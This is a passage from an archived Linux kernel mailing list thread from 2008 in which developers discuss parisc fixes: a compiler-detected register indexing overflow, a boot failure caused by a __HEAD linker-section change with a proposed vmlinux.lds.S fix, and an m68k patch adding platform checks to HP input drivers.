<--  snip  -->


Spotted by the GNU C compiler.


cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc setup_sigcontext32() array overflows
Date: Sat, 17 May 2008 15:22:55 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20080517192255.GB6540@phobos.i.cabal.ca>
References: <20080517191636.GA8140@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211052187 25353 80.91.229.12 (17 May 2008 19:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 May 2008 19:23:07 +0000 (UTC)
Cc: kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 17 21:23:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxS0N-0002Tk-Mb
	for glpp-linux-parisc@gmane.org; Sat, 17 May 2008 21:23:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756812AbYEQTW5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 May 2008 15:22:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757193AbYEQTW5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 May 2008 15:22:57 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:52847 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756588AbYEQTW4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 May 2008 15:22:56 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 3600917807B; Sat, 17 May 2008 15:22:55 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080517191636.GA8140@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:327 gmane.linux.kernel:681902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/327>

On Sat, May 17, 2008 at 10:16:37PM +0300, Adrian Bunk wrote:
> setup_sigcontext32(struct compat_sigcontext __user *sc, struct compat_regfile __user * rf, 
>                 struct pt_regs *regs, int in_syscall)            
> {
> ...
>                 /* Store upper half */
>                 compat_reg = (compat_uint_t)(regs->gr[32] >> 32);
> ...                                                   ^^
>                 /* Store upper half */
>                 compat_reg = (compat_uint_t)((regs->gr[32]+4) >> 32);
> ...                                                    ^^
> 
> <--  snip  -->

Yeah, I've already fixed these, was waiting for an ack from the author.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sun, 18 May 2008 02:52:00 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com>
	 <20080517152623.GA26649@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1211071936 21249 80.91.229.12 (18 May 2008 00:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 00:52:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 02:52:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxX8s-0001Zi-AU
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 02:52:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751241AbYERAwE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 May 2008 20:52:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754189AbYERAwD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 May 2008 20:52:03 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.31]:5317 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751241AbYERAwB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 May 2008 20:52:01 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so819772ywe.1
        for <linux-parisc@vger.kernel.org>; Sat, 17 May 2008 17:52:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=0fojH+bjZcnuae1VxpKkq7K+N/SlWSakioqmfzTosZU=;
        b=g1TB3kYlU/LahULV3m6uGlC1Pukk6mYjzwqIOpWbX6Jyqy6qOSsYWAhpo8IokOPHyoi1Xp492WLRujvYJ3QZAYHC11OMAEMDonHBc4yfZw1KOOLNtvPENJY7Nn+eP9vPnQZCnatajV141sDA6cZAnXBkd0XFy6ndHk4S1gUguy4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=jkyLrro34ZW69SH0sexdMNawqJBBLyjMMb5Ac4xs6DvgvqlY3ygs+S5VUuJ534p5AgIYUrntygxVb1o1yznVn3aLnLxmgUAhKdwWXwA7WDDjWUmdvz8XWSCacx7C6+TrLHZjlwLtFn7/2u1DIpK6gRL5g6t55p5R9a5njzzjBBg=
Original-Received: by 10.150.52.2 with SMTP id z2mr4956786ybz.47.1211071920510;
        Sat, 17 May 2008 17:52:00 -0700 (PDT)
Original-Received: by 10.151.51.16 with HTTP; Sat, 17 May 2008 17:52:00 -0700 (PDT)
In-Reply-To: <20080517152623.GA26649@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 285ea706ca115199
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/328>

On Sat, May 17, 2008 at 5:26 PM, Grant Grundler
<grundler@parisc-linux.org> wrote:
> On Sat, May 17, 2008 at 03:20:46PM +0200, Thibaut VARENE wrote:
>> Hi pa-ckers
>>
>> Just a quick failure report, I tested git head + jejb's zonelist patch
>> on my A500 (gcc-4.2) and it hpmc'd the box (afaict) very early during
>> bootup. I'll dig that more ASAP.

Kyle eventually spotted the offending patch:
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=bd3bb8c15b9a80dbddfb7905b237a4a11a4725b4;hp=492c2e476eac010962850006c49df326919b284c

Out of this patch, the only two non-offending hunks are:
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index ec2482d..5680a2c 100644 (file)
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -32,7 +32,7 @@ ENTRY(boot_args)
        .word 0 /* arg3 */
 END(boot_args)

-       .section .text.head
+       __HEAD
        .align  4
        .import init_thread_union,data
        .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */

and

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..ae509d8 100644 (file)
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -636,7 +637,7 @@ END(sys_call_table64)
                All light-weight-syscall atomic operations
                will use this set of locks
        */
-       .section .data
+       .section .data, "aw"
        .align  PAGE_SIZE
 ENTRY(lws_lock_start)
        /* lws locks */

I'm now debugging the timer_interrupt problems, will keep the list posted.

HTH

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sun, 18 May 2008 01:13:42 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20080518071342.GB26649@colo.lackof.org>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com> <20080517152623.GA26649@colo.lackof.org> <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211094848 2195 80.91.229.12 (18 May 2008 07:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 07:14:08 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 09:14:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jxd6R-0004vG-TB
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 09:14:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751127AbYERHNz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 03:13:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751255AbYERHNz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 03:13:55 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:58366 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751127AbYERHNy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 03:13:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 259F76F8039;
	Sun, 18 May 2008 01:13:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04083-03; Sun, 18 May 2008 01:13:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5F7D26F802C; Sun, 18 May 2008 01:13:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/329>

On Sun, May 18, 2008 at 02:52:00AM +0200, Thibaut VARENE wrote:
> On Sat, May 17, 2008 at 5:26 PM, Grant Grundler
> <grundler@parisc-linux.org> wrote:
> > On Sat, May 17, 2008 at 03:20:46PM +0200, Thibaut VARENE wrote:
> >> Hi pa-ckers
> >>
> >> Just a quick failure report, I tested git head + jejb's zonelist patch
> >> on my A500 (gcc-4.2) and it hpmc'd the box (afaict) very early during
> >> bootup. I'll dig that more ASAP.
> 
> Kyle eventually spotted the offending patch:
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=bd3bb8c15b9a80dbddfb7905b237a4a11a4725b4;hp=492c2e476eac010962850006c49df326919b284c
> 
> Out of this patch, the only two non-offending hunks are:
> diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
> index ec2482d..5680a2c 100644 (file)
> --- a/arch/parisc/kernel/head.S
> +++ b/arch/parisc/kernel/head.S
> @@ -32,7 +32,7 @@ ENTRY(boot_args)
>         .word 0 /* arg3 */
>  END(boot_args)
> 
> -       .section .text.head
> +       __HEAD
>         .align  4
>         .import init_thread_union,data
>         .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */

So I don't understand how __HEAD works...and all the other arches are
using ".text.head" (not .head.text) which has corresponding "code" in
their vmlinux.lds.  Could someone kindly point out how .head.text 
works for parisc?

> and
> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 69b6eeb..ae509d8 100644 (file)
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -636,7 +637,7 @@ END(sys_call_table64)
>                 All light-weight-syscall atomic operations
>                 will use this set of locks
>         */
> -       .section .data
> +       .section .data, "aw"
>         .align  PAGE_SIZE
>  ENTRY(lws_lock_start)
>         /* lws locks */
> 
> I'm now debugging the timer_interrupt problems, will keep the list posted.

That shouldn't be too hard...I can help a bit later tomorrow.

thanks,
grant

> 
> HTH
> 
> T-Bone
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sun, 18 May 2008 12:18:36 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20080518161836.GC6540@phobos.i.cabal.ca>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com> <20080517152623.GA26649@colo.lackof.org> <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com> <20080518071342.GB26649@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211127531 20849 80.91.229.12 (18 May 2008 16:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 16:18:51 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 18:19:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxlbX-0006m4-O3
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 18:19:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751214AbYERQSi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 12:18:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751499AbYERQSi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 12:18:38 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:58238 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751214AbYERQSh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 12:18:37 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id C323417806E; Sun, 18 May 2008 12:18:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080518071342.GB26649@colo.lackof.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/330>

On Sun, May 18, 2008 at 01:13:42AM -0600, Grant Grundler wrote:
> So I don't understand how __HEAD works...and all the other arches are
> using ".text.head" (not .head.text) which has corresponding "code" in
> their vmlinux.lds.  Could someone kindly point out how .head.text 
> works for parisc?
> 

*(.text) will include .head.text...

>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sun, 18 May 2008 18:19:52 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <48305728.20403@gmx.de>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com> <20080517152623.GA26649@colo.lackof.org> <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com> <20080518071342.GB26649@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060402080201090608000109"
X-Trace: ger.gmane.org 1211127603 21040 80.91.229.12 (18 May 2008 16:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 16:20:03 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 18:20:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jxlcn-0006m4-7p
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 18:20:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750716AbYERQTz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 12:19:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751499AbYERQTz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 12:19:55 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:48649 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750716AbYERQTy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 12:19:54 -0400
Original-Received: (qmail invoked by alias); 18 May 2008 16:19:52 -0000
Original-Received: from mnhm-590f5686.pool.einsundeins.de (EHLO halden.box) [89.15.86.134]
  by mail.gmx.net (mp008) with SMTP; 18 May 2008 18:19:52 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+7tz0BJye7v/HLD1Q2L+6Onv0IlsGbKAIN3Kfwwu
	bJUnJfEoz0OmQc
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080518071342.GB26649@colo.lackof.org>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:331
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/331>

This is a multi-part message in MIME format.
--------------060402080201090608000109
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Grant Grundler wrote:
> On Sun, May 18, 2008 at 02:52:00AM +0200, Thibaut VARENE wrote:
>> On Sat, May 17, 2008 at 5:26 PM, Grant Grundler
>> <grundler@parisc-linux.org> wrote:
>>> On Sat, May 17, 2008 at 03:20:46PM +0200, Thibaut VARENE wrote:
>>>> Hi pa-ckers
>>>>
>>>> Just a quick failure report, I tested git head + jejb's zonelist patch
>>>> on my A500 (gcc-4.2) and it hpmc'd the box (afaict) very early during
>>>> bootup. I'll dig that more ASAP.
>> Kyle eventually spotted the offending patch:
>> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=bd3bb8c15b9a80dbddfb7905b237a4a11a4725b4;hp=492c2e476eac010962850006c49df326919b284c
>>
>> Out of this patch, the only two non-offending hunks are:
>> diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
>> index ec2482d..5680a2c 100644 (file)
>> --- a/arch/parisc/kernel/head.S
>> +++ b/arch/parisc/kernel/head.S
>> @@ -32,7 +32,7 @@ ENTRY(boot_args)
>>         .word 0 /* arg3 */
>>  END(boot_args)
>>
>> -       .section .text.head
>> +       __HEAD
>>         .align  4
>>         .import init_thread_union,data
>>         .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
> 
> So I don't understand how __HEAD works...and all the other arches are
> using ".text.head" (not .head.text) which has corresponding "code" in
> their vmlinux.lds.  Could someone kindly point out how .head.text 
> works for parisc?

Yeah, my fault (no idea why it worked for me???).

I see two options:
1) revert my patch (gets to linker warnings and have to build up a new 
patch, ideally adding a section for .text.head to vmlinux.lds.S),
2) apply the attached patch.

Opinions?

Helge

--------------060402080201090608000109
Content-Type: text/plain;
 name="t66"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="t66"

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 50b4a3a..2e516b8 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -50,6 +50,7 @@ SECTIONS
 
 	_text = .;		/* Text and read-only data */
 	.text ALIGN(16) : {
+		HEAD_TEXT
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT

--------------060402080201090608000109--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch 11/18] m68k: Some input drivers do not check the platform
Date: Sun, 18 May 2008 20:47:17 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20080518185152.437771120@mail.of.borg>
References: <20080518184706.631023070@mail.of.borg>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1211136900 18182 80.91.229.12 (18 May 2008 18:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 18:55:00 +0000 (UTC)
Cc: linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-input@vger.kernel.org, linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-input-owner@vger.kernel.org Sun May 18 20:55:36 2008
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jxo2i-0001LP-31
	for glki-linux-input-2@gmane.org; Sun, 18 May 2008 20:55:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760998AbYERSyh (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Sun, 18 May 2008 14:54:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761448AbYERSye
	(ORCPT <rfc822;linux-input-outgoing>);
	Sun, 18 May 2008 14:54:34 -0400
Original-Received: from yorgi.telenet-ops.be ([195.130.133.69]:35187 "EHLO
	yorgi.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759968AbYERSy3 (ORCPT
	<rfc822;linux-input@vger.kernel.org>);
	Sun, 18 May 2008 14:54:29 -0400
Original-Received: from monty.telenet-ops.be (monty.telenet-ops.be [195.130.132.56])
	by yorgi.telenet-ops.be (Postfix) with ESMTP id C1E4D5A00CB;
	Sun, 18 May 2008 20:54:27 +0200 (CEST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by monty.telenet-ops.be (Postfix) with SMTP id 09EAB54112;
	Sun, 18 May 2008 20:53:57 +0200 (CEST)
Original-Received: from anakin.of.borg (78-21-204-88.access.telenet.be [78.21.204.88])
	by monty.telenet-ops.be (Postfix) with ESMTP id E5975540F8;
	Sun, 18 May 2008 20:53:56 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.2/8.14.2/Debian-4) with ESMTP id m4IIruns031333
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 18 May 2008 20:53:56 +0200
Original-Received: (from geert@localhost)
	by anakin.of.borg (8.14.2/8.14.2/Submit) id m4IIruRm031332;
	Sun, 18 May 2008 20:53:56 +0200
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=m68k-input-drivers-break-multiplatform.diff
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:4948 gmane.linux.kernel:682234 gmane.linux.ports.parisc:332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/332>

From: Geert Uytterhoeven <geert@linux-m68k.org>

Some input drivers do not check whether they're actually running on the
correct platform, causing multi-platform kernels to crash if they are not.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 drivers/input/keyboard/hilkbd.c  |    4 ++++
 drivers/input/misc/hp_sdc_rtc.c  |    5 +++++
 drivers/input/serio/hp_sdc_mlc.c |    5 +++++
 3 files changed, 14 insertions(+)

--- a/drivers/input/keyboard/hilkbd.c
+++ b/drivers/input/keyboard/hilkbd.c
@@ -217,6 +217,10 @@ hil_keyb_init(void)
 		return -ENOMEM;
 
 #if defined(CONFIG_HP300)
+	if (!MACH_IS_HP300) {
+		err = -ENODEV;
+		goto err1;
+	}
 	if (!hwreg_present((void *)(HILBASE + HIL_DATA))) {
 		printk(KERN_ERR "HIL: hardware register was not found\n");
 		err = -ENODEV;
--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -691,6 +691,11 @@ static int __init hp_sdc_rtc_init(void)
 {
 	int ret;
 
+#ifdef __mc68000__
+	if (!MACH_IS_HP300)
+		return -ENODEV;
+#endif
+
 	init_MUTEX(&i8042tregs);
 
 	if ((ret = hp_sdc_request_timer_irq(&hp_sdc_rtc_isr)))
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -306,6 +306,11 @@ static int __init hp_sdc_mlc_init(void)
 {
 	hil_mlc *mlc = &hp_sdc_mlc;
 
+#ifdef __mc68000__
+	if (!MACH_IS_HP300)
+		return -ENODEV;
+#endif
+
 	printk(KERN_INFO PREFIX "Registering the System Domain Controller's HIL MLC.\n");
 
